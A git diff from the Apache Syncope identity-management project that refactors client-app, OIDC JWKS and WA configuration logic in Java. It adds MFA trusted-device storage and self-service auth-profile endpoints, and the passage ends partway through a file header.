-52,7 +40,6 @@ import org.apache.syncope.core.persistence.api.entity.am.OIDCRPClientApp; import org.apache.syncope.core.persistence.api.entity.am.SAML2SPClientApp; import org.apache.syncope.core.provisioning.api.data.ClientAppDataBinder; -import org.apache.syncope.core.spring.security.SecurityProperties; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; @@ -70,16 +57,13 @@ public class ClientAppLogic extends AbstractTransactionalLogic { protected final SAML2SPClientAppDAO saml2SPClientAppDAO; - protected final SecurityProperties securityProperties; - public ClientAppLogic( final ServiceOps serviceOps, final ClientAppUtilsFactory clientAppUtilsFactory, final ClientAppDataBinder binder, final CASSPClientAppDAO casSPClientAppDAO, final OIDCRPClientAppDAO oidcRPClientAppDAO, - final SAML2SPClientAppDAO saml2SPClientAppDAO, - final SecurityProperties securityProperties) { + final SAML2SPClientAppDAO saml2SPClientAppDAO) { this.serviceOps = serviceOps; this.clientAppUtilsFactory = clientAppUtilsFactory; @@ -87,7 +71,6 @@ public ClientAppLogic( this.casSPClientAppDAO = casSPClientAppDAO; this.oidcRPClientAppDAO = oidcRPClientAppDAO; this.saml2SPClientAppDAO = saml2SPClientAppDAO; - this.securityProperties = securityProperties; } @PreAuthorize("hasRole('" + AMEntitlement.CLIENTAPP_LIST + "')") @@ -153,7 +136,7 @@ public T read(final ClientAppType type, final String key } @PreAuthorize("hasRole('" + AMEntitlement.CLIENTAPP_CREATE + "')") - public ClientAppTO create(final ClientAppType type, final ClientAppTO clientAppTO) { + public T create(final ClientAppType type, final ClientAppTO clientAppTO) { checkType(type, clientAppUtilsFactory.getInstance(clientAppTO)); switch (type) { @@ -168,7 +151,7 @@ public ClientAppTO create(final ClientAppType type, final ClientAppTO clientAppT } @PreAuthorize("hasRole('" + AMEntitlement.CLIENTAPP_UPDATE + "')") - public void update(final ClientAppType type, final ClientAppTO clientAppTO) { + public T update(final ClientAppType type, final ClientAppTO clientAppTO) { checkType(type, clientAppUtilsFactory.getInstance(clientAppTO)); switch (type) { @@ -178,16 +161,14 @@ public void update(final ClientAppType type, final ClientAppTO clientAppTO) { throw new NotFoundException("Client app " + clientAppTO.getKey() + " not found"); } binder.update(oidcrp, clientAppTO); - oidcRPClientAppDAO.save(oidcrp); - break; + return binder.getClientAppTO(oidcRPClientAppDAO.save(oidcrp)); case CASSP: CASSPClientApp cassp = casSPClientAppDAO.find(clientAppTO.getKey()); if (cassp == null) { throw new NotFoundException("Client app " + clientAppTO.getKey() + " not found"); } binder.update(cassp, clientAppTO); - casSPClientAppDAO.save(cassp); - break; + return binder.getClientAppTO(casSPClientAppDAO.save(cassp)); case SAML2SP: default: SAML2SPClientApp saml2sp = saml2SPClientAppDAO.find(clientAppTO.getKey()); @@ -195,12 +176,13 @@ public void update(final ClientAppType type, final ClientAppTO clientAppTO) { throw new NotFoundException("Client app " + clientAppTO.getKey() + " not found"); } binder.update(saml2sp, clientAppTO); - saml2SPClientAppDAO.save(saml2sp); + return binder.getClientAppTO(saml2SPClientAppDAO.save(saml2sp)); } } @PreAuthorize("hasRole('" + AMEntitlement.CLIENTAPP_DELETE + "')") - public void delete(final ClientAppType type, final String key) { + public T delete(final ClientAppType type, final String key) { + final T deleted; switch (type) { case OIDCRP: OIDCRPClientApp oidcrp = oidcRPClientAppDAO.find(key); @@ -208,6 +190,7 @@ public void delete(final ClientAppType type, final String key) { throw new NotFoundException("Client app " + key + " not found"); } oidcRPClientAppDAO.delete(oidcrp); + deleted = binder.getClientAppTO(oidcrp); break; case CASSP: CASSPClientApp cassp = casSPClientAppDAO.find(key); @@ -215,6 +198,7 @@ public void delete(final ClientAppType type, final String key) { throw new NotFoundException("Client app " + key + " not found"); } casSPClientAppDAO.delete(cassp); + deleted = binder.getClientAppTO(cassp); break; case SAML2SP: default: @@ -223,60 +207,56 @@ public void delete(final ClientAppType type, final String key) { throw new NotFoundException("Client app " + key + " not found"); } saml2SPClientAppDAO.delete(saml2sp); + deleted = binder.getClientAppTO(saml2sp); } + + return deleted; } @Override protected ClientAppTO resolveReference(final Method method, final Object... args) throws UnresolvedReferenceException { - String key = null; - - if (ArrayUtils.isNotEmpty(args)) { - for (int i = 0; key == null && i < args.length; i++) { - if (args[i] instanceof String) { - key = (String) args[i]; - } else if (args[i] instanceof ClientAppTO) { - key = ((ClientAppTO) args[i]).getKey(); - } - } + if (ArrayUtils.isEmpty(args) || args.length != 2) { + throw new UnresolvedReferenceException(); } - if (key != null) { - try { - ClientApp clientApp = saml2SPClientAppDAO.find(key); - if (clientApp == null) { - clientApp = oidcRPClientAppDAO.find(key); - } + try { + final String key; + final ClientAppType type; - return binder.getClientAppTO(clientApp); - } catch (Throwable ex) { - LOG.debug("Unresolved reference", ex); - throw new UnresolvedReferenceException(ex); + if (args[0] instanceof ClientAppType) { + type = (ClientAppType) args[0]; + } else { + throw new RuntimeException("Invalid ClientApp type"); } - } - throw new UnresolvedReferenceException(); - } + if (args[1] instanceof String) { + key = (String) args[1]; + } else if (args[1] instanceof ClientAppTO) { + key = ((ClientAppTO) args[1]).getKey(); + } else { + throw new RuntimeException("Invalid ClientApp key"); + } - @PreAuthorize("hasRole('" + AMEntitlement.CLIENTAPP_PUSH + "')") - public void pushToWA() { - try { - NetworkService wa = serviceOps.get(NetworkService.Type.WA); - String basicAuthHeader = DefaultBasicAuthSupplier.getBasicAuthHeader( - securityProperties.getAnonymousUser(), securityProperties.getAnonymousKey()); - URI endpoint = URI.create(StringUtils.appendIfMissing(wa.getAddress(), "/") - + "actuator/registeredServices"); - HttpClient.newBuilder().build().send( - HttpRequest.newBuilder(endpoint). - header(HttpHeaders.AUTHORIZATION, basicAuthHeader). - header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON). - GET().build(), - HttpResponse.BodyHandlers.discarding()); - } catch (KeymasterException e) { - throw new NotFoundException("Could not find any WA instance", e); - } catch (IOException | InterruptedException e) { - throw new InternalServerErrorException("Errors while communicating with WA instance", e); + final ClientApp clientApp; + switch (type) { + case CASSP: + clientApp = casSPClientAppDAO.find(key); + break; + case SAML2SP: + clientApp = saml2SPClientAppDAO.find(key); + break; + case OIDCRP: + clientApp = oidcRPClientAppDAO.find(key); + break; + default: + throw new RuntimeException("Unexpected ClientApp type"); + } + + return binder.getClientAppTO(clientApp); + } catch (Throwable t) { + throw new UnresolvedReferenceException(); } } } diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/OIDCJWKSLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/OIDCJWKSLogic.java index e088d7bbd36..28ef8484086 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/OIDCJWKSLogic.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/OIDCJWKSLogic.java @@ -19,6 +19,7 @@ package org.apache.syncope.core.logic; import java.lang.reflect.Method; +import java.util.List; import java.util.Optional; import org.apache.syncope.common.lib.to.OIDCJWKSTO; import org.apache.syncope.common.lib.types.AMEntitlement; @@ -26,7 +27,10 @@ import org.apache.syncope.core.persistence.api.dao.DuplicateException; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.OIDCJWKSDAO; +import org.apache.syncope.core.persistence.api.dao.WAConfigDAO; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.am.OIDCJWKS; +import org.apache.syncope.core.persistence.api.entity.am.WAConfigEntry; import org.apache.syncope.core.provisioning.api.data.OIDCJWKSDataBinder; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; @@ -35,52 +39,81 @@ public class OIDCJWKSLogic extends AbstractTransactionalLogic { protected final OIDCJWKSDataBinder binder; - protected final OIDCJWKSDAO dao; + protected final OIDCJWKSDAO oidcJWKSDAO; + + protected final WAConfigDAO waConfigDAO; + + protected final EntityFactory entityFactory; + + public OIDCJWKSLogic( + final OIDCJWKSDataBinder binder, + final OIDCJWKSDAO oidcJWKSDAO, + final WAConfigDAO waConfigDAO, + final EntityFactory entityFactory) { - public OIDCJWKSLogic(final OIDCJWKSDataBinder binder, final OIDCJWKSDAO dao) { this.binder = binder; - this.dao = dao; + this.oidcJWKSDAO = oidcJWKSDAO; + this.waConfigDAO = waConfigDAO; + this.entityFactory = entityFactory; } @PreAuthorize("hasRole('" + AMEntitlement.OIDC_JWKS_READ + "') " + "or hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") @Transactional(readOnly = true) public OIDCJWKSTO get() { - return Optional.ofNullable(dao.get()). + return Optional.ofNullable(oidcJWKSDAO.get()). map(binder::getOIDCJWKSTO). orElseThrow(() -> new NotFoundException("OIDC JWKS not found")); } + @PreAuthorize("hasRole('" + AMEntitlement.OIDC_JWKS_SET + "') " + + "or hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + public OIDCJWKSTO set(final OIDCJWKSTO entityTO) { + OIDCJWKS jwks = oidcJWKSDAO.get(); + jwks.setJson(entityTO.getJson()); + return binder.getOIDCJWKSTO(oidcJWKSDAO.save(jwks)); + } + @PreAuthorize("hasRole('" + AMEntitlement.OIDC_JWKS_GENERATE + "') " + "or hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") public OIDCJWKSTO generate(final String jwksKeyId, final String jwksType, final int jwksKeySize) { - OIDCJWKS jwks = dao.get(); - if (jwks == null) { - return binder.getOIDCJWKSTO(dao.save(binder.create(jwksKeyId, jwksType, jwksKeySize))); + if (oidcJWKSDAO.get() == null) { + OIDCJWKSTO oidcJWKSTO = binder.getOIDCJWKSTO( + oidcJWKSDAO.save(binder.create(jwksKeyId, jwksType, jwksKeySize))); + + WAConfigEntry jwksKeyIdConfig = entityFactory.newEntity(WAConfigEntry.class); + jwksKeyIdConfig.setKey("cas.authn.oidc.jwks.core.jwks-key-id"); + jwksKeyIdConfig.setValues(List.of(jwksKeyId)); + waConfigDAO.save(jwksKeyIdConfig); + + WAConfigEntry jwksTypeConfig = entityFactory.newEntity(WAConfigEntry.class); + jwksTypeConfig.setKey("cas.authn.oidc.jwks.core.jwks-type"); + jwksTypeConfig.setValues(List.of(jwksType)); + waConfigDAO.save(jwksTypeConfig); + + WAConfigEntry jwksKeySizeConfig = entityFactory.newEntity(WAConfigEntry.class); + jwksKeySizeConfig.setKey("cas.authn.oidc.jwks.core.jwks-key-size"); + jwksKeySizeConfig.setValues(List.of(String.valueOf(jwksKeySize))); + waConfigDAO.save(jwksKeySizeConfig); + + return oidcJWKSTO; } + throw new DuplicateException("OIDC JWKS already set"); } @PreAuthorize("hasRole('" + AMEntitlement.OIDC_JWKS_DELETE + "')") public void delete() { - dao.delete(); + oidcJWKSDAO.delete(); } @Override protected OIDCJWKSTO resolveReference(final Method method, final Object... args) throws UnresolvedReferenceException { - OIDCJWKS jwks = dao.get(); + OIDCJWKS jwks = oidcJWKSDAO.get(); if (jwks == null) { throw new UnresolvedReferenceException(); } return binder.getOIDCJWKSTO(jwks); } - - @PreAuthorize("hasRole('" + AMEntitlement.OIDC_JWKS_SET + "') " - + "or hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") - public OIDCJWKSTO set(final OIDCJWKSTO entityTO) { - OIDCJWKS jwks = dao.get(); - jwks.setJson(entityTO.getJson()); - return binder.getOIDCJWKSTO(dao.save(jwks)); - } } diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/GoogleMfaAuthAccountLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/GoogleMfaAuthAccountLogic.java index e0de66a0548..23cbaeed40a 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/GoogleMfaAuthAccountLogic.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/GoogleMfaAuthAccountLogic.java @@ -94,10 +94,10 @@ public void deleteAll() { } @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") - public void create(final String owner, final GoogleMfaAuthAccount account) { - AuthProfile profile = authProfileDAO.findByOwner(owner).orElseGet(() -> { + public void create(final GoogleMfaAuthAccount account) { + AuthProfile profile = authProfileDAO.findByOwner(account.getUsername()).orElseGet(() -> { AuthProfile authProfile = entityFactory.newEntity(AuthProfile.class); - authProfile.setOwner(owner); + authProfile.setOwner(account.getUsername()); return authProfile; }); @@ -108,9 +108,10 @@ public void create(final String owner, final GoogleMfaAuthAccount account) { } @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") - public void update(final String owner, final GoogleMfaAuthAccount account) { - AuthProfile authProfile = authProfileDAO.findByOwner(owner). - orElseThrow(() -> new NotFoundException("Could not find account for Owner " + owner)); + public void update(final GoogleMfaAuthAccount account) { + AuthProfile authProfile = authProfileDAO.findByOwner(account.getUsername()). + orElseThrow(() -> new NotFoundException("Could not find account for Owner " + account.getUsername())); + List accounts = authProfile.getGoogleMfaAuthAccounts(); if (accounts.removeIf(acct -> acct.getId() == account.getId())) { accounts.add(account); diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/MfaTrusStorageLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/MfaTrusStorageLogic.java new file mode 100644 index 00000000000..eb1a110c279 --- /dev/null +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/MfaTrusStorageLogic.java @@ -0,0 +1,159 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.logic.wa; + +import java.time.OffsetDateTime; +import java.time.ZonedDateTime; +import java.util.Comparator; +import java.util.List; +import java.util.Objects; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import org.apache.commons.lang3.builder.CompareToBuilder; +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; +import org.apache.syncope.core.logic.AbstractAuthProfileLogic; +import org.apache.syncope.core.persistence.api.dao.AuthProfileDAO; +import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.am.AuthProfile; +import org.apache.syncope.core.provisioning.api.data.AuthProfileDataBinder; +import org.springframework.security.access.prepost.PreAuthorize; + +public class MfaTrusStorageLogic extends AbstractAuthProfileLogic { + + protected final EntityFactory entityFactory; + + public MfaTrusStorageLogic( + final EntityFactory entityFactory, + final AuthProfileDAO authProfileDAO, + final AuthProfileDataBinder binder) { + + super(authProfileDAO, binder); + this.entityFactory = entityFactory; + } + + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + public Pair> search( + final Integer page, + final Integer itemsPerPage, + final String principal, + final Long id, + final OffsetDateTime recordDate, + final List orderByClauses) { + + List> comparatorList = orderByClauses. + stream(). + map(orderByClause -> { + Comparator comparator = null; + if (orderByClause.getField().equals("id")) { + comparator = (o1, o2) -> new CompareToBuilder(). + append(o1.getId(), o2.getId()).toComparison(); + } + if (orderByClause.getField().equals("expirationDate")) { + comparator = (o1, o2) -> new CompareToBuilder(). + append(o1.getExpirationDate(), o2.getExpirationDate()).toComparison(); + } + if (orderByClause.getField().equals("recordDate")) { + comparator = (o1, o2) -> new CompareToBuilder(). + append(o1.getRecordDate(), o2.getRecordDate()).toComparison(); + } + if (comparator != null) { + if (orderByClause.getDirection() == OrderByClause.Direction.DESC) { + return comparator.reversed(); + } + return comparator; + } + return null; + }). + filter(Objects::nonNull). + collect(Collectors.toList()); + + List devices = (principal == null + ? authProfileDAO.findAll(-1, -1).stream(). + map(AuthProfile::getMfaTrustedDevices).filter(Objects::nonNull).flatMap(List::stream) + : authProfileDAO.findByOwner(principal). + map(AuthProfile::getMfaTrustedDevices).filter(Objects::nonNull).map(List::stream). + orElse(Stream.empty())). + filter(device -> { + EqualsBuilder builder = new EqualsBuilder(); + builder.appendSuper(device.getExpirationDate().isAfter(ZonedDateTime.now())); + if (id != null) { + builder.append(id, (Long) device.getId()); + } + if (recordDate != null) { + builder.appendSuper(device.getRecordDate().isAfter(recordDate.toZonedDateTime())); + } + return builder.build(); + }). + filter(Objects::nonNull). + collect(Collectors.toList()); + + List result = devices.stream(). + limit(itemsPerPage). + skip(itemsPerPage * (page <= 0 ? 0L : page.longValue() - 1L)). + sorted((o1, o2) -> { + int compare; + for (Comparator comparator : comparatorList) { + compare = comparator.compare(o1, o2); + if (compare != 0) { + return compare; + } + } + return 0; + }) + .collect(Collectors.toList()); + return Pair.of(devices.size(), result); + } + + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + public void create(final String owner, final MfaTrustedDevice device) { + AuthProfile profile = authProfileDAO.findByOwner(owner).orElseGet(() -> { + AuthProfile authProfile = entityFactory.newEntity(AuthProfile.class); + authProfile.setOwner(owner); + return authProfile; + }); + + List devices = profile.getMfaTrustedDevices(); + devices.add(device); + profile.setMfaTrustedDevices(devices); + authProfileDAO.save(profile); + } + + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + public void delete(final OffsetDateTime expirationDate, final String recordKey) { + List profiles = authProfileDAO.findAll(-1, -1); + profiles.forEach(profile -> { + List devices = profile.getMfaTrustedDevices(); + if (devices != null) { + if (recordKey != null) { + devices.removeIf(device -> recordKey.equals(device.getRecordKey())); + } else if (expirationDate != null) { + devices.removeIf(device -> device.getExpirationDate().isBefore(expirationDate.toZonedDateTime())); + } else { + devices = List.of(); + } + profile.setMfaTrustedDevices(devices); + authProfileDAO.save(profile); + } + }); + } +} diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/U2FRegistrationLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/U2FRegistrationLogic.java index c12d81b8bae..31f7828832d 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/U2FRegistrationLogic.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/U2FRegistrationLogic.java @@ -85,7 +85,8 @@ public void delete(final Long id, final OffsetDateTime expirationDate) { @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") public Pair> search( final Integer page, - final Integer itemsPerPage, final Long id, + final Integer itemsPerPage, + final Long id, final OffsetDateTime expirationDate, final List orderByClauses) { @@ -129,7 +130,7 @@ public Pair> search( if (expirationDate != null) { builder.appendSuper(device.getIssueDate().compareTo(expirationDate) >= 0); } - return true; + return builder.build(); }). filter(Objects::nonNull). collect(Collectors.toList()); diff --git a/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/WAConfigLogic.java b/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/WAConfigLogic.java index 547880ad407..ea7c47444d1 100644 --- a/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/WAConfigLogic.java +++ b/core/am/logic/src/main/java/org/apache/syncope/core/logic/wa/WAConfigLogic.java @@ -36,6 +36,7 @@ import org.apache.syncope.common.lib.to.EntityTO; import org.apache.syncope.common.lib.types.AMEntitlement; import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.common.rest.api.service.wa.WAConfigService; import org.apache.syncope.core.logic.AbstractTransactionalLogic; import org.apache.syncope.core.logic.UnresolvedReferenceException; import org.apache.syncope.core.persistence.api.dao.NotFoundException; @@ -44,6 +45,7 @@ import org.apache.syncope.core.spring.security.SecurityProperties; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; public class WAConfigLogic extends AbstractTransactionalLogic { @@ -91,19 +93,47 @@ public void delete(final String key) { waConfigDAO.delete(key); } + protected void registeredServices(final HttpClient client, final String serviceAddress) { + String target = StringUtils.appendIfMissing(serviceAddress, "/") + "actuator/registeredServices"; + client.sendAsync( + HttpRequest.newBuilder(URI.create(target)). + header(HttpHeaders.AUTHORIZATION, DefaultBasicAuthSupplier.getBasicAuthHeader( + securityProperties.getAnonymousUser(), securityProperties.getAnonymousKey())). + GET().build(), + HttpResponse.BodyHandlers.discarding()). + thenAcceptAsync(response -> LOG.info( + "Pushed to {} with HTTP status: {}", target, response.statusCode())); + } + + protected void refresh(final HttpClient client, final String serviceAddress) { + String target = StringUtils.appendIfMissing(serviceAddress, "/") + "actuator/refresh"; + client.sendAsync( + HttpRequest.newBuilder(URI.create(target)). + header(HttpHeaders.AUTHORIZATION, DefaultBasicAuthSupplier.getBasicAuthHeader( + securityProperties.getAnonymousUser(), securityProperties.getAnonymousKey())). + POST(HttpRequest.BodyPublishers.noBody()).build(), + HttpResponse.BodyHandlers.discarding()). + thenAcceptAsync(response -> LOG.info( + "Pushed to {} with HTTP status: {}", target, response.statusCode())); + } + @PreAuthorize("hasRole('" + AMEntitlement.WA_CONFIG_PUSH + "')") - public void pushToWA() { + public void pushToWA(final WAConfigService.PushSubject subject, final List services) { HttpClient client = HttpClient.newHttpClient(); try { - serviceOps.list(NetworkService.Type.WA).forEach(wa -> client.sendAsync( - HttpRequest.newBuilder(URI.create( - StringUtils.appendIfMissing(wa.getAddress(), "/") + "actuator/refresh")). - header(HttpHeaders.AUTHORIZATION, DefaultBasicAuthSupplier.getBasicAuthHeader( - securityProperties.getAnonymousUser(), securityProperties.getAnonymousKey())). - POST(HttpRequest.BodyPublishers.noBody()).build(), - HttpResponse.BodyHandlers.discarding()). - thenAcceptAsync(response -> LOG.info( - "Pushed to WA instance {} with HTTP status: {}", wa.getAddress(), response.statusCode()))); + serviceOps.list(NetworkService.Type.WA).stream(). + filter(wa -> CollectionUtils.isEmpty(services) || services.contains(wa.getAddress())). + forEach(wa -> { + switch (subject) { + case clientApps: + registeredServices(client, wa.getAddress()); + break; + + case conf: + default: + refresh(client, wa.getAddress()); + } + }); } catch (KeymasterException e) { throw new NotFoundException("Could not find any WA instance", e); } diff --git a/core/am/pom.xml b/core/am/pom.xml index 4e01e2ef64f..0731960efb6 100644 --- a/core/am/pom.xml +++ b/core/am/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core AM diff --git a/core/am/rest-cxf/pom.xml b/core/am/rest-cxf/pom.xml index 80e991db7e3..887ab80fc93 100644 --- a/core/am/rest-cxf/pom.xml +++ b/core/am/rest-cxf/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.core syncope-core-am - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core AM REST CXF @@ -43,13 +43,6 @@ under the License. jakarta.servlet-api provided - - - org.apache.syncope.common.am - syncope-common-am-rest-api - ${project.version} - javadoc - org.apache.syncope.core.idrepo @@ -66,6 +59,12 @@ under the License. syncope-common-am-rest-api ${project.version} + + org.apache.syncope.common.am + syncope-common-am-rest-api + ${project.version} + javadoc + diff --git a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/AMRESTCXFContext.java b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/AMRESTCXFContext.java index 06fd5faadfe..e4995955d1f 100644 --- a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/AMRESTCXFContext.java +++ b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/AMRESTCXFContext.java @@ -20,6 +20,7 @@ import org.apache.syncope.common.rest.api.service.AttrRepoService; import org.apache.syncope.common.rest.api.service.AuthModuleService; +import org.apache.syncope.common.rest.api.service.AuthProfileSelfService; import org.apache.syncope.common.rest.api.service.AuthProfileService; import org.apache.syncope.common.rest.api.service.ClientAppService; import org.apache.syncope.common.rest.api.service.OIDCJWKSService; @@ -29,6 +30,7 @@ import org.apache.syncope.common.rest.api.service.wa.GoogleMfaAuthAccountService; import org.apache.syncope.common.rest.api.service.wa.GoogleMfaAuthTokenService; import org.apache.syncope.common.rest.api.service.wa.ImpersonationService; +import org.apache.syncope.common.rest.api.service.wa.MfaTrustStorageService; import org.apache.syncope.common.rest.api.service.wa.U2FRegistrationService; import org.apache.syncope.common.rest.api.service.wa.WAClientAppService; import org.apache.syncope.common.rest.api.service.wa.WAConfigService; @@ -44,12 +46,14 @@ import org.apache.syncope.core.logic.wa.GoogleMfaAuthAccountLogic; import org.apache.syncope.core.logic.wa.GoogleMfaAuthTokenLogic; import org.apache.syncope.core.logic.wa.ImpersonationLogic; +import org.apache.syncope.core.logic.wa.MfaTrusStorageLogic; import org.apache.syncope.core.logic.wa.U2FRegistrationLogic; import org.apache.syncope.core.logic.wa.WAClientAppLogic; import org.apache.syncope.core.logic.wa.WAConfigLogic; import org.apache.syncope.core.logic.wa.WebAuthnRegistrationLogic; import org.apache.syncope.core.rest.cxf.service.AttrRepoServiceImpl; import org.apache.syncope.core.rest.cxf.service.AuthModuleServiceImpl; +import org.apache.syncope.core.rest.cxf.service.AuthProfileSelfServiceImpl; import org.apache.syncope.core.rest.cxf.service.AuthProfileServiceImpl; import org.apache.syncope.core.rest.cxf.service.ClientAppServiceImpl; import org.apache.syncope.core.rest.cxf.service.OIDCJWKSServiceImpl; @@ -59,6 +63,7 @@ import org.apache.syncope.core.rest.cxf.service.wa.GoogleMfaAuthAccountServiceImpl; import org.apache.syncope.core.rest.cxf.service.wa.GoogleMfaAuthTokenServiceImpl; import org.apache.syncope.core.rest.cxf.service.wa.ImpersonationServiceImpl; +import org.apache.syncope.core.rest.cxf.service.wa.MfaTrustStorageServiceImpl; import org.apache.syncope.core.rest.cxf.service.wa.U2FRegistrationServiceImpl; import org.apache.syncope.core.rest.cxf.service.wa.WAClientAppServiceImpl; import org.apache.syncope.core.rest.cxf.service.wa.WAConfigServiceImpl; @@ -88,6 +93,12 @@ public AuthProfileService authProfileService(final AuthProfileLogic authProfileL return new AuthProfileServiceImpl(authProfileLogic); } + @ConditionalOnMissingBean + @Bean + public AuthProfileSelfService authProfileSelfService(final AuthProfileLogic authProfileLogic) { + return new AuthProfileSelfServiceImpl(authProfileLogic); + } + @ConditionalOnMissingBean @Bean public ClientAppService clientAppService(final ClientAppLogic clientAppLogic) { @@ -146,6 +157,12 @@ public U2FRegistrationService u2fRegistrationService(final U2FRegistrationLogic return new U2FRegistrationServiceImpl(u2fRegistrationLogic); } + @ConditionalOnMissingBean + @Bean + public MfaTrustStorageService mfaTrustStorageService(final MfaTrusStorageLogic mfaTrusStorageLogic) { + return new MfaTrustStorageServiceImpl(mfaTrusStorageLogic); + } + @ConditionalOnMissingBean @Bean public WAClientAppService waClientAppService(final WAClientAppLogic waClientAppLogic) { diff --git a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AuthProfileSelfServiceImpl.java b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AuthProfileSelfServiceImpl.java new file mode 100644 index 00000000000..9d65169c8ec --- /dev/null +++ b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AuthProfileSelfServiceImpl.java @@ -0,0 +1,47 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.rest.cxf.service; + +import org.apache.syncope.common.lib.to.AuthProfileTO; +import org.apache.syncope.common.rest.api.service.AuthProfileSelfService; +import org.apache.syncope.core.logic.AuthProfileLogic; + +public class AuthProfileSelfServiceImpl extends AbstractService implements AuthProfileSelfService { + + protected final AuthProfileLogic logic; + + public AuthProfileSelfServiceImpl(final AuthProfileLogic logic) { + this.logic = logic; + } + + @Override + public AuthProfileTO read() { + return logic.selfRead(); + } + + @Override + public void update(final AuthProfileTO authProfileTO) { + logic.selfUpdate(authProfileTO); + } + + @Override + public void delete() { + logic.selfDelete(); + } +} diff --git a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AuthProfileServiceImpl.java b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AuthProfileServiceImpl.java index 4ee54241195..5db55901179 100644 --- a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AuthProfileServiceImpl.java +++ b/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AuthProfileServiceImpl.java @@ -39,8 +39,9 @@ public AuthProfileServiceImpl(final AuthProfileLogic logic) { } @Override - public void delete(final String key) { - logic.delete(key); + public PagedResult list(final int page, final int size) { + Pair> result = logic.list(page, size); + return buildPagedResult(result.getRight(), page, size, result.getLeft()); } @Override @@ -63,8 +64,7 @@ public void update(final AuthProfileTO authProfileTO) { } @Override - public PagedResult list(final int page, final int size) { - Pair> result = logic.list(page, size); - return buildPagedResult(result.getRight(), page, size, result.getLeft()); + public void delete(final String key) { + logic.delete(key); } } diff --git a/core/am/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ClientAppServiceImpl.java 